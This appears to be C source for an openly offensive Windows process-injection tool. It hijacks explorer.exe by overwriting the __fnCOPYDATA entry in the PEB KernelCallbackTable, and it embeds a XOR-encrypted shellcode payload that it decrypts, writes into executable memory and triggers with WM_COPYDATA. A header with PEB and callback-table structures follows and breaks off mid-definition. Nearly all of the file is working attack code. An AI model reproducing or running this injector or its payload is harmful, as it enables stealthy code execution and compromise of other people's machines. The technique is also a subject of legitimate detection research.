#include <stdio.h>
#include <windows.h>
#include "struct.h"
#include "helper.h"

void LoadNtQueryInformationProcess()
{
    printf(COLOR_YELLOW_BOLD "[*] Loading NtQueryInformationProcess...\n" COLOR_RESET);
    HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
    if (hNtdll)
    {
        NtQueryInformationProcess = (PFN_NTQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "NtQueryInformationProcess");
        if (NtQueryInformationProcess)
        {
            printf(COLOR_GREEN_BOLD "[+] NtQueryInformationProcess loaded successfully at address: 0x%p\n" COLOR_RESET, NtQueryInformationProcess);
        }
        else
        {
            printf(COLOR_RED_BOLD "\t[-] Failed to resolve NtQueryInformationProcess address.\n" COLOR_RESET);
        }
    }
}

void EnableDebugPrivilege()
{
    printf(COLOR_YELLOW_BOLD "[*] Enabling Debug Privilege...\n" COLOR_RESET);
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
        tkp.PrivilegeCount = 1;
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL);
        CloseHandle(hToken);
        // printf( COLOR_GREEN_BOLD "\t[+] Debug Privilege enabled.\n" COLOR_RESET );
    }
    else
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to enable Debug Privilege.\n" COLOR_RESET);
    }
}
void xor_decrypt(unsigned char* data, size_t length, const char* key) {
    size_t key_len = strlen(key);
    for (size_t i = 0; i < length; i++) {
        data[i] ^= key[i % key_len];  // XOR each byte with the key (loop over key if necessary)
    }
}

unsigned char payload[] = "\x8e\x2d\xee\x8b\x82\x8d\xa5\x6f\x72\x65\x2c\x3e\x33\x35\x3f\x3e\x24\x2d\x5c\xbd\x17\x2d\xe6\x3d\x12\x2d\xe6\x3d\x6a\x2d\xe6\x3d\x52\x2d\xe6\x1d\x22\x2d\x62\xd8\x38\x2f\x20\x5e\xbb\x2d\x5c\xaf\xde\x59\x0c\x13\x70\x49\x4d\x2e\xb3\xac\x60\x2e\x73\xa4\x8f\x82\x20\x24\x3c\x27\xf9\x37\x4d\xe4\x30\x59\x25\x6e\xa2\x03\xec\x17\x6a\x6e\x6f\x1a\x00\xee\xed\xe7\x72\x65\x6d\x27\xf7\xa5\x19\x08\x3a\x64\xbd\x3f\xf9\x2d\x75\x2b\xf9\x25\x4d\x26\x73\xb5\x8e\x39\x3a\x9a\xa4\x2e\xf9\x51\xe5\x27\x73\xb3\x20\x5e\xbb\x2d\x5c\xaf\xde\x24\xac\xa6\x7f\x24\x6c\xae\x4a\x85\x18\x9e\x3e\x66\x21\x4b\x7a\x20\x54\xbe\x07\xbd\x35\x2b\xf9\x25\x49\x26\x73\xb5\x0b\x2e\xf9\x69\x25\x2b\xf9\x25\x71\x26\x73\xb5\x2c\xe4\x76\xed\x25\x6e\xa2\x24\x35\x2e\x2a\x3b\x34\x35\x33\x3d\x2c\x36\x33\x3f\x25\xec\x9e\x45\x2c\x3d\x8d\x85\x35\x2e\x2b\x3f\x25\xe4\x60\x8c\x22\x90\x8d\x9a\x30\x05\x72\x2c\xd3\x18\x1b\x0b\x04\x01\x17\x11\x6d\x2e\x24\x2c\xe4\x89\x3e\xec\x9c\x2e\xc8\x29\x1a\x49\x75\x9a\xb8\x27\x43\xac\x25\x5e\xa0\x28\x5c\xaf\x3f\x54\xa4\x2e\x22\x24\x3d\x2e\xc8\x5f\x3b\x16\xd5\x9a\xb8\x84\x01\x3f\x25\xe6\xb3\x24\xd5\x3f\x72\x65\x6d\x22\x43\xac\x2c\x3e\x33\x34\x07\x6c\x33\x34\x2c\xd5\x25\xec\xf2\xa9\x8d\xb0\x86\x36\x29\x2d\xe4\xae\x3a\x54\xbf\x26\xfb\xbd\x20\x5e\xbb\x37\x05\x6f\x70\x25\xe9\x3d\x20\x24\xd7\x84\x27\x4b\x56\x90\xa7\x2d\xe4\xa9\x3a\xe6\xae\x3f\x18\x6f\x32\x27\xfb\x94\x25\xe6\xa8\x2c\xaa\xaf\x8d\x9a\x92\x90\x3f\x54\xa4\x3d\x20\x24\xd7\x42\x74\x7d\x16\x90\xa7\xe0\xad\x60\xf7\xf8\x6c\x6f\x72\x2d\x92\xa0\x7d\xe1\xe1\x6e\x72\x65\x86\xbc\x9b\x81\x6c\x6f\x72\x8d\xcf\x90\x8d\x9a\x42\x58\x1d\x0f\x20\x6f\xc9\x5e\xdc\x73\x1d\xed\x11\x0c\x3f\xc8\x5b\x06\x77\xbe\x1f\xe5\xee\xc9\x28\x75\x4e\x5a\x79\xa3\xea\xc7\x67\x70\x8e\xef\xd5\xa5\xed\xba\xa4\xb8\xb8\xfe\x2e\x17\x83\x6c\x29\x5b\x5a\xf6\x78\xee\x48\x19\xa7\xca\xf9\xda\xa8\xd2\x43\x7e\x87\x41\x59\xdd\x82\xbc\xa8\xef\x79\x37\x42\xf8\xdb\x70\x8c\x65\x38\x1c\x17\x17\x40\x2e\x15\x00\x03\x1b\x48\x45\x20\x00\x08\x0c\x01\x03\x13\x4a\x58\x41\x42\x45\x45\x38\x1b\x0b\x09\x00\x05\x16\x4d\x21\x26\x45\x5b\x41\x43\x5e\x4d\x38\x1b\x0b\x5b\x5b\x49\x45\x15\x59\x46\x5e\x4d\x1d\x04\x5f\x59\x58\x5c\x55\x44\x4f\x35\x00\x0e\x04\x1d\x4a\x5f\x5f\x43\x55\x5d\x5e\x42\x54\x4d\x29\x1b\x17\x08\x09\x1d\x1d\x42\x5b\x45\x4b\x5d\x62\x78\x65\x63\x89\x63\xef\x7f\x10\xc7\x73\xe8\x92\xb7\x84\xe9\x56\x21\x64\xbe\xcc\xba\x7d\xda\xb7\x2d\x6a\x76\xc9\x82\x6f\xcd\x23\x75\xf2\x7c\x5f\xdf\xc4\x4f\x63\x91\xf3\x23\x31\x39\x53\x01\xad\xf0\x7f\xf6\x1b\xcb\x7f\x3f\xab\xa6\x07\x94\x7c\x3a\xc6\x65\xab\x07\xbf\xfe\xe7\xf0\x50\x67\xba\x38\x35\xc1\x21\xb8\xc9\xde\xc9\xab\x7e\x47\xa7\x13\x18\xd8\x89\x78\x3c\x5e\xbb\x62\x00\x7a\xee\xdb\x80\x6f\x62\x30\xe5\xe7\x27\xd7\x4e\xbe\xe1\x77\xeb\x3e\xb7\x85\xd2\x4a\x8a\xca\xe6\x27\xa7\x99\xfe\x50\xb3\xa7\xa3\xb0\xb9\x94\x94\xcd\x06\xdf\x6c\x3c\x03\xb5\x2f\x20\xaa\x9f\x81\x84\x06\x65\x25\x35\xd7\xf2\xaa\xf9\x4b\x42\x3c\x01\x30\x89\x42\x91\xf8\xba\xd1\x4b\x99\x6c\x32\x16\xce\x09\x07\x8e\xf9\x1e\x85\x2c\xe0\xee\x93\x8a\xc4\xb7\xbc\x69\xc9\x8f\xa6\x4c\x68\xc6\x77\x6b\xe4\x26\x6b\xa8\x68\xe8\x14\xa9\x5b\x8c\x4e\xfa\xd2\x53\x34\xfa\x3e\xb9\x84\x50\x53\xe3\x65\x2c\xd1\x82\xd0\xcf\x39\x8d\xb0\x25\x5e\xbb\xdf\x6d\x6f\x32\x65\x2c\xd7\x72\x75\x6d\x6f\x33\xdc\x2d\x6f\x72\x65\x2c\xd5\x2a\xc1\x3e\x8a\x8d\xb0\x25\xfc\x21\x36\x25\xe6\x95\x2d\xe4\x9e\x3a\xec\xb7\x2e\xca\x65\x4d\x6f\x72\x2c\xe4\x96\x33\xdf\x7f\xf9\xfb\x87\x92\xba\x3a\xe6\xa9\x4f\xf7\xa5\x19\xd9\x14\xee\x6a\x27\x73\xa6\xe8\xaf\x07\xb2\x35\x37\x2a\x2d\x68\x6f\x72\x65\x6d\x3f\xb1\x8d\xf2\x92\x8d\x9a\x5c\x5f\x5c\x55\x43\x5d\x5c\x50\x6d\x55\xac\x0d\xdc";
size_t encrypted_length = sizeof(payload);
const char* key = "remo";  // Key used for XOR encryption
SIZE_T shellcodeSize = sizeof(payload) - 1;
SIZE_T bytesRead = 0;

int main()
{
    printf(COLOR_YELLOW_BOLD "[*] Initializing exploit...\n" COLOR_RESET);

    EnableDebugPrivilege();
    LoadNtQueryInformationProcess();

    if (!NtQueryInformationProcess)
    {
        printf(COLOR_RED_BOLD "\t[-] NtQueryInformationProcess is NULL. Exiting...\n" COLOR_RESET);
        return -1;
    }

    printf(COLOR_YELLOW_BOLD "[*] Starting PEB KernelCallbackTable Injection Exploit...\n\n" COLOR_RESET);

    // Step 1: Create a new explorer process (ensure it is visible to the user)
    PROCESS_INFORMATION pi = { 0 };
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;

    printf(COLOR_YELLOW_BOLD "\t[*] Creating new explorer process...\n" COLOR_RESET);
    if (!CreateProcess(
        L"C:\\Windows\\explorer.exe",
        NULL,
        NULL,
        NULL,
        FALSE,
        CREATE_NEW_CONSOLE,
        NULL,
        NULL,
        &si,
        &pi
    ))
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to create explorer process. Error: %d\n" COLOR_RESET, GetLastError());
        return -1;
    }

    printf(COLOR_GREEN_BOLD "\t[+] explorer process created successfully. PID: %d\n" COLOR_RESET, pi.dwProcessId);

    // Step 2: Wait for the new process to initialize
    printf(COLOR_YELLOW_BOLD "\t[*] Waiting for explorer initialization...\n" COLOR_RESET);
    WaitForInputIdle(pi.hProcess, 1000);

    // Step 3: Find the explorer window handle
    HWND hWindow = NULL;
    DWORD waitTime = 0;
    while (hWindow == NULL && waitTime < MAX_WAIT_TIME)
    {
        hWindow = FindWindow(L"Explorer", NULL);
        if (!hWindow)
        {
            Sleep(500);  // Wait for 500 ms before retrying
            waitTime += 500;
        }
    }

    if (!hWindow)
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to find explorer window handle after waiting for %d milliseconds.\n" COLOR_RESET, MAX_WAIT_TIME);
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        return -1;
    }

    printf(COLOR_GREEN_BOLD "\t[+] Window Handle found: 0x%p\n" COLOR_RESET, hWindow);

    // Step 4: Get the process ID of the explorer
    DWORD pid;
    GetWindowThreadProcessId(hWindow, &pid);
    printf(COLOR_GREEN_BOLD "\t[+] Process ID: %d\n" COLOR_RESET, pid);

    HANDLE hProcess = OpenProcess(
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
        FALSE,
        pid
    );
    if (!hProcess)
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to open target process. Error: %d\n" COLOR_RESET, GetLastError());
        return -1;
    }
    printf(COLOR_GREEN_BOLD "\t[+] Process Handle: 0x%p\n" COLOR_RESET, hProcess);

    // -----------------------------------------------------
    // Using NtQueryInformationProcess to get PEB
    // -----------------------------------------------------
    printf(COLOR_YELLOW_BOLD "\t[*] Retrieving PEB Address using NtQueryInformationProcess...\n" COLOR_RESET);
    PROCESS_BASIC_INFORMATION pbi;
    ULONG returnLength;
    NTSTATUS status = NtQueryInformationProcess(
        hProcess,
        ProcessBasicInformation,
        &pbi,
        sizeof(pbi),
        &returnLength
    );
    if (status != 0)
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to query process information. NTSTATUS: 0x%lx\n" COLOR_RESET, status);
        return -1;
    }
    PVOID PebBaseAddress = pbi.PebBaseAddress;
    printf(COLOR_BLUE_BOLD "\t\t[*] PEB Address: 0x%p\n" COLOR_RESET, PebBaseAddress);

    // Step 6: Read KernelCallbackTable from the target process's PEB
    PVOID KernelCallbackTable;
    SIZE_T bytesRead = 0;
    if (!ReadProcessMemory(
        hProcess,
        (PBYTE)PebBaseAddress + offsetof(PEB, KernelCallbackTable),
        &KernelCallbackTable,
        sizeof(PVOID),
        &bytesRead
    ))
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to read KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
        return -1;
    }
    printf(COLOR_BLUE_BOLD "\t\t[*] KernelCallbackTable Address: 0x%p\n" COLOR_RESET, KernelCallbackTable);

    // Step 7: Read KernelCallbackTable structure from the target process
    KERNELCALLBACKTABLE CCC;
    if (!ReadProcessMemory(
        hProcess,
        KernelCallbackTable,
        &CCC,
        sizeof(CCC),
        &bytesRead
    ))
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to read KernelCallbackTable structure. Error: %d\n" COLOR_RESET, GetLastError());
        return -1;
    }
    printf(COLOR_GREEN_BOLD "\n\t[+] KernelCallbackTable read successfully. %zu bytes read.\n" COLOR_RESET, bytesRead);
    printf(COLOR_BLUE_BOLD "\t\t[*] Dumping KernelCallbackTable structure:\n" COLOR_RESET);
    printf(COLOR_GREEN_BOLD "\t\t\t__fnCOPYDATA: 0x%p\n" COLOR_RESET, (void*)CCC.__fnCOPYDATA);
    printf(COLOR_GREEN_BOLD "\t\t\t__fnCOPYGLOBALDATA: 0x%p\n" COLOR_RESET, (void*)CCC.__fnCOPYGLOBALDATA);
    printf(COLOR_GREEN_BOLD "\t\t\t__fnDWORD: 0x%p\n" COLOR_RESET, (void*)CCC.__fnDWORD);

    // -----------------------------------------------------
    // Assembly Method: Using LocatePEB and ResolveKernelCallbackTable
    // -----------------------------------------------------
    /*
    //
    printf( COLOR_YELLOW_BOLD "\t[*] Retrieving PEB Address using Assembly...\n" COLOR_RESET );
    PVOID PebBaseAddressASM = LocatePEB();
    printf( COLOR_BLUE_BOLD "\t\t[*] PEB Address (from ASM): 0x%p\n" COLOR_RESET, PebBaseAddressASM );

    printf( COLOR_YELLOW_BOLD "\t[*] Resolving KernelCallbackTable using Assembly...\n" COLOR_RESET );
    PVOID KernelCallbackTableASM = ResolveKernelCallbackTable( PebBaseAddressASM );
    printf( COLOR_BLUE_BOLD "\t\t[*] KernelCallbackTable Address (from ASM): 0x%p\n" COLOR_RESET, KernelCallbackTableASM );

    // Continue using KernelCallbackTableASM as needed
    */

    // Step 8: Write payload to remote buffer
    printf(COLOR_YELLOW_BOLD "\n\t[*] Allocating remote buffer for payload...\n" COLOR_RESET);
    LPVOID remotebuf = VirtualAllocEx(
        hProcess,
        NULL,
        shellcodeSize,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
    );
    xor_decrypt(payload, encrypted_length, key);
    if (!remotebuf)
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to allocate remote buffer. Error: %d\n" COLOR_RESET, GetLastError());
        return -1;
    }
    if (!WriteProcessMemory(
        hProcess,
        remotebuf,
        payload,
        shellcodeSize,
        NULL
    ))
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to write payload to remote buffer. Error: %d\n" COLOR_RESET, GetLastError());
        return -1;
    }
    printf(COLOR_GREEN_BOLD "\t[+] Payload written to remote buffer at: 0x%p\n" COLOR_RESET, remotebuf);

    // Step 9: Modify __fnCOPYDATA in the KernelCallbackTable
    printf(COLOR_YELLOW_BOLD "\t[*] Modifying __fnCOPYDATA to point to payload...\n" COLOR_RESET);
    CCC.__fnCOPYDATA = (ULONG_PTR)remotebuf;
    printf(COLOR_BLUE_BOLD "\t\t[*] __fnCOPYDATA now points to: 0x%p\n" COLOR_RESET, remotebuf);

    // Step 10: Clone modified KernelCallbackTable
    printf(COLOR_YELLOW_BOLD "\n\t[*] Cloning modified KernelCallbackTable...\n" COLOR_RESET);
    LPVOID cloneCCC = VirtualAllocEx(
        hProcess,
        NULL,
        sizeof(CCC),
        MEM_RESERVE | MEM_COMMIT,
        PAGE_READWRITE
    );
    if (!cloneCCC)
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to allocate memory for cloned KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
        return -1;
    }
    if (!WriteProcessMemory(
        hProcess,
        cloneCCC,
        &CCC,
        sizeof(CCC),
        NULL
    ))
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to write cloned KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
        return -1;
    }
    printf(COLOR_GREEN_BOLD "\t[+] Cloned KernelCallbackTable written at: 0x%p\n" COLOR_RESET, cloneCCC);

    // Step 11: Update PEB KernelCallbackTable to cloned KernelCallbackTable
    printf(COLOR_YELLOW_BOLD "\t[*] Updating PEB with cloned KernelCallbackTable...\n" COLOR_RESET);
    if (!WriteProcessMemory(
        hProcess,
        (PBYTE)PebBaseAddress + offsetof(PEB, KernelCallbackTable),
        &cloneCCC,
        sizeof(PVOID),
        &bytesRead
    ))
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to update PEB KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
        return -1;
    }
    printf(COLOR_GREEN_BOLD "\t[+] PEB KernelCallbackTable updated successfully!\n" COLOR_RESET);

    // Step 12: Ensure Memory Protection for Payload
    DWORD oldProtect;
    if (!VirtualProtectEx(
        hProcess,
        remotebuf,
        shellcodeSize,
        PAGE_EXECUTE_READ,
        &oldProtect
    ))
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to change memory protection for payload. Error: %d\n" COLOR_RESET, GetLastError());
        return -1;
    }
    printf(COLOR_GREEN_BOLD "\t[+] Memory protection for payload set to PAGE_EXECUTE_READ.\n" COLOR_RESET);

    // Step 13: Trigger the payload
    printf(COLOR_YELLOW_BOLD "\t[*] Sending message to trigger the payload...\n" COLOR_RESET);
    COPYDATASTRUCT cds;
    WCHAR msg[] = L"LJX";
    cds.dwData = 1;
    cds.cbData = (lstrlenW(msg) + 1) * sizeof(WCHAR);
    cds.lpData = msg;
    LRESULT result = SendMessage(
        hWindow,
        WM_COPYDATA,
        (WPARAM)hWindow,
        (LPARAM)&cds
    );
    if (result == 0 && GetLastError() != 0)
    {
        printf(COLOR_RED_BOLD "\t[-] Failed to send message to trigger payload. Error: %d\n" COLOR_RESET, GetLastError());
        return -1;
    }
    printf(COLOR_GREEN_BOLD "\t[+] Payload triggered!\n" COLOR_RESET);

    // Cleanup
    printf(COLOR_YELLOW_BOLD "\t[*] Cleaning up...\n" COLOR_RESET);
    VirtualFreeEx(hProcess, remotebuf, 0, MEM_RELEASE);
    VirtualFreeEx(hProcess, cloneCCC, 0, MEM_RELEASE);
    TerminateProcess(pi.hProcess, 0);
    CloseHandle(hProcess);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    printf(COLOR_GREEN_BOLD "\n[+] YAAAAAAAAAY.\n" COLOR_RESET);
    printf(COLOR_GREEN_BOLD "[+] Exploit completed successfully.\n" COLOR_RESET);
    return 0;
}

#pragma once
#include <Windows.h>

typedef struct _UNICODE_STRING {
    USHORT         Length;
    USHORT         MaximumLength;
    PWSTR          Buffer;
} UNICODE_STRING;

typedef struct _KERNELCALLBACKTABLE_T {
    ULONG_PTR __fnCOPYDATA;
    ULONG_PTR __fnCOPYGLOBALDATA;
    ULONG_PTR __fnDWORD;
    ULONG_PTR __fnNCDESTROY;
    ULONG_PTR __fnDWORDOPTINLPMSG;
    ULONG_PTR __fnINOUTDRAG;
    ULONG_PTR __fnGETTEXTLENGTHS;
    ULONG_PTR __fnINCNTOUTSTRING;
    ULONG_PTR __fnPOUTLPINT;
    ULONG_PTR __fnINLPCOMPAREITEMSTRUCT;
    ULONG_PTR __fnINLPCREATESTRUCT;
    ULONG_PTR __fnINLPDELETEITEMSTRUCT;
    ULONG_PTR __fnINLPDRAWITEMSTRUCT;
    ULONG_PTR __fnPOPTINLPUINT;
    ULONG_PTR __fnPOPTINLPUINT2;
    ULONG_PTR __fnINLPMDICREATESTRUCT;
    ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT;
    ULONG_PTR __fnINLPWINDOWPOS;
    ULONG_PTR __fnINOUTLPPOINT5;
    ULONG_PTR __fnINOUTLPSCROLLINFO;
    ULONG_PTR __fnINOUTLPRECT;
    ULONG_PTR __fnINOUTNCCALCSIZE;
    ULONG_PTR __fnINOUTLPPOINT5_;
    ULONG_PTR __fnINPAINTCLIPBRD;
    ULONG_PTR __fnINSIZECLIPBRD;
    ULONG_PTR __fnINDESTROYCLIPBRD;
    ULONG_PTR __fnINSTRING;
    ULONG_PTR __fnINSTRINGNULL;
    ULONG_PTR __fnINDEVICECHANGE;
    ULONG_PTR __fnPOWERBROADCAST;
    ULONG_PTR __fnINLPUAHDRAWMENU;
    ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD;
    ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_;
    ULONG_PTR __fnOUTDWORDINDWORD;
    ULONG_PTR __fnOUTLPRECT;
    ULONG_PTR __fnOUTSTRING;
    ULONG_PTR __fnPOPTINLPUINT3;
    ULONG_PTR __fnPOUTLPINT2;
    ULONG_PTR __fnSENTDDEMSG;
    ULONG_PTR __fnINOUTSTYLECHANGE;
    ULONG_PTR __fnHkINDWORD;
    ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;
    ULONG_PTR __fnHkINLPCBTCREATESTRUCT;
    ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;
    ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;
    ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;
    ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT;
    ULONG_PTR __fnHkINLPMSG;
    ULONG_PTR __fnHkINLPRECT;
    ULONG_PTR __fnHkOPTINLPEVENTMSG;
    ULONG_PTR __xxxClientCallDelegateThread;
    ULONG_PTR __ClientCallDummyCallback;
    ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;
    ULONG_PTR __fnOUTLPCOMBOBOXINFO;
    ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;
    ULONG_PTR __xxxClientCallDevCallbackCapture;
    ULONG_PTR __xxxClientCallDitThread;
    ULONG_PTR __xxxClientEnableMMCSS;
    ULONG_PTR __xxxClientUpdateDpi;
    ULONG_PTR __xxxClientExpandStringW;
    ULONG_PTR __ClientCopyDDEIn1;
    ULONG_PTR __ClientCopyDDEIn2;
    ULONG_PTR __ClientCopyDDEOut1;
    ULONG_PTR __ClientCopyDDEOut2;
    ULONG_PTR __ClientCopyImage;
    ULONG_PTR __ClientEventCallback;
    ULONG_PTR __ClientFindMnemChar;
    ULONG_PTR __ClientFreeDDEHandle;
    ULONG_PTR __ClientFreeLibrary;
    ULONG_PTR __ClientGetCharsetInfo;
    ULONG_PTR __ClientGetDDEFlags;
    ULONG_PTR __ClientGetDDEHookData;
    ULONG_PTR __ClientGetListboxString;
    ULONG_PTR __ClientGetMessageMPH;
    ULONG_PTR __ClientLoadImage;
    ULONG_PTR __ClientLoadLibrary;
    ULONG_PTR __ClientLoadMenu;
    ULONG_PTR __ClientLoadLocalT1Fonts;
    ULONG_PTR __ClientPSMTextOut;
    ULONG_PTR __ClientLpkDrawTextEx;
    ULONG_PTR __ClientExtTextOutW;
    ULONG_PTR __ClientGetTextExtentPointW;
    ULONG_PTR __ClientCharToWchar;
    ULONG_PTR __ClientAddFontResourceW;
    ULONG_PTR __ClientThreadSetup;
    ULONG_PTR __ClientDeliverUserApc;
    ULONG_PTR __ClientNoMemoryPopup;
    ULONG_PTR __ClientMonitorEnumProc;
    ULONG_PTR __ClientCallWinEventProc;
    ULONG_PTR __ClientWaitMessageExMPH;
    ULONG_PTR __ClientWOWGetProcModule;
    ULONG_PTR __ClientWOWTask16SchedNotify;
    ULONG_PTR __ClientImmLoadLayout;
    ULONG_PTR __ClientImmProcessKey;
    ULONG_PTR __fnIMECONTROL;
    ULONG_PTR __fnINWPARAMDBCSCHAR;
    ULONG_PTR __fnGETTEXTLENGTHS2;
    ULONG_PTR __fnINLPKDRAWSWITCHWND;
    ULONG_PTR __ClientLoadStringW;
    ULONG_PTR __ClientLoadOLE;
    ULONG_PTR __ClientRegisterDragDrop;
    ULONG_PTR __ClientRevokeDragDrop;
    ULONG_PTR __fnINOUTMENUGETOBJECT;
    ULONG_PTR __ClientPrinterThunk;
    ULONG_PTR __fnOUTLPCOMBOBOXINFO2;
    ULONG_PTR __fnOUTLPSCROLLBARINFO;
    ULONG_PTR __fnINLPUAHDRAWMENU2;
    ULONG_PTR __fnINLPUAHDRAWMENUITEM;
    ULONG_PTR __fnINLPUAHDRAWMENU3;
    ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;
    ULONG_PTR __fnINLPUAHDRAWMENU4;
    ULONG_PTR __fnOUTLPTITLEBARINFOEX;
    ULONG_PTR __fnTOUCH;
    ULONG_PTR __fnGESTURE;
    ULONG_PTR __fnPOPTINLPUINT4;
    ULONG_PTR __fnPOPTINLPUINT5;
    ULONG_PTR __xxxClientCallDefaultInputHandler;
    ULONG_PTR __fnEMPTY;
    ULONG_PTR __ClientRimDevCallback;
    ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;
    ULONG_PTR __ClientCallLocalMouseHooks;
    ULONG_PTR __xxxClientBroadcastThemeChange;
    ULONG_PTR __xxxClientCallDevCallbackSimple;
    ULONG_PTR __xxxClientAllocWindowClassExtraBytes;
    ULONG_PTR __xxxClientFreeWindowClassExtraBytes;
    ULONG_PTR __fnGETWINDOWDATA;
    ULONG_PTR __fnINOUTSTYLECHANGE2;
    ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;
} KERNELCALLBACKTABLE;

typedef struct _PEB
{
    UCHAR InheritedAddressSpace;                                            //0x0
    UCHAR ReadImageFileExecOptions;                                         //0x1
    UCHAR BeingDebugged;                                                    //0x2
    union
    {
        UCHAR BitField;                                                     //0x3
        struct
        {
            UCHAR ImageUsesLargePages : 1;                                  //0x3
            UCHAR IsProtectedProcess : 1;                                   //0x3
            UCHAR IsImageDynamicallyRelocated : 1;                          //0x3
            UCHAR SkipPatchingUser32Forwarders : 1;                         //0x3
            UCHAR IsPackagedProcess : 1;                                    //0x3
            UCHAR IsAppContainer : 1;                                       //0x3
            UCHAR IsProtectedProcessLight : 1;                              //0x3
            UCHAR IsLongPathAwareProcess : 1;                               //0x3
        };
    };
    UCHAR Padding0[4];                                                      //0x4
    VOID* Mutant;                                                           //0x8
    VOID* ImageBaseAddress;                                                 //0x10
    struct _PEB_LDR_DATA* Ldr;                                              //0x18
    struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;                 //0x20
    VOID* SubSystemData;                                                    //0x28
    VOID* ProcessHeap;                                                      //0x30
    struct _RTL_CRITICAL_SECTION* FastPebLock;                              //0x38
    union _SLIST_HEADER* volatile AtlThunkSListPtr;                         //0x40
    VOID* IFEOKey;                                                          //0x48
    union
    {
        ULONG CrossProcessFlags;                                            //0x50
        struct
        {
            ULONG ProcessInJob : 1;                                         //0x50
            ULONG ProcessInitializing : 1;                                  //0x50
            ULONG ProcessUsingVEH : 1;                                      //0x50
            ULONG ProcessUsingVCH : 1;                                      //0x50
            ULONG ProcessUsingFTH : 1;                                      //0x50
            ULONG ProcessPreviouslyThrottled : 1;                           //0x50
            ULONG ProcessCurrentlyThrottled : 1;                            //0x50
            ULONG ProcessImagesHotPatched : 1;                              //0x50
            ULONG ReservedBits0 : 24;                                       //0x50
        };
    };
    UCHAR Padding1[4];                                                      //0x54
    union
    {
        VOID* KernelCallbackTable;                                          //0x58
        VOID* UserSharedInfoPtr;                                            //0x58
    };
    ULONG SystemReserved;                                                   //0x60
    ULONG AtlThunkSListPtr32;                                               //0x64
    VOID* ApiSetMap;                                                        //0x68
    ULONG TlsExpansionCounter;                                              //0x70
    UCHAR Padding2[4];                                                      //0x74
    VOID* TlsBitmap;                                                        //0x78
    ULONG TlsBitmapBits[2];                                                 //0x80
    VOID* ReadOnlySharedMemoryBase;                                         //0x88
    VOID* SharedData;                                                       //0x90
    VOID** ReadOnlyStaticServerData;                                        //0x98
    VOID* AnsiCodePageData;                                                 //0xa0
    VOID* OemCodePageData;                                                  //0xa8
    VOID* UnicodeCaseTableData;                                             //0xb0
    ULONG NumberOfProcessors;                                               //0xb8
    ULONG NtGlobalFlag;                                                     //0xbc
    union _LARGE_INTEGER CriticalSectionTimeout;                            //0xc0
    ULONGLONG HeapSegmentReserve;                                           //0xc8
    ULONGLONG HeapSegmentCommit;                                            //0xd0
    ULONGLONG HeapDeCommitTotalFreeThreshold;                               //0xd8
    ULONGLONG HeapDeCommitFreeBlockThreshold;                               //0xe0
    ULONG NumberOfHeaps;                                                    //0xe8
    ULONG MaximumNumberOfHeaps;                                             //0xec
    VOID** ProcessHeaps;                                                    //0xf0
    VOID* GdiSharedHandleTable;                                             //0xf8
    VOID* ProcessStarterHelper;                                             //0x100
    ULONG GdiDCAttributeList;                                               //0x108
    UCHAR Padding3[4];                                                      //0x10c
    struct _RTL_CRITICAL_SECTION* LoaderLock;                               //0x110
    ULONG OSMajorVersion;                                                   //0x118
    ULONG OSMinorVersion;                                                   //0x11c
    USHORT OSBuildNumber;                                                   //0x120
    USHORT OSCSDVersion;                                                    //0x122
    ULONG OSPlatformId;                                                     //0x124
    ULONG ImageSubsystem;                                                   //0x128
    ULONG ImageSubsystemMajorVersion;                                       //0x12c
    ULONG ImageSubsystemMinorVersion;                                       //0x130
    UCHAR Padding4[4];                                                      //0x134
    ULONGLONG ActiveProcessAffinityMask;                                    //0x138
    ULONG GdiHandleBuffer[60];                                              //0x140
    VOID(*PostProcessInitRoutine)();                                        //0x230
    VOID* TlsExpansionBitmap;                                               //0x238
    ULONG TlsExpansionBitmapBits[32];                                       //0x240
    ULONG SessionId;                                                        //0x2c0
    UCHAR Padding5[4];                                                      //0x2c4
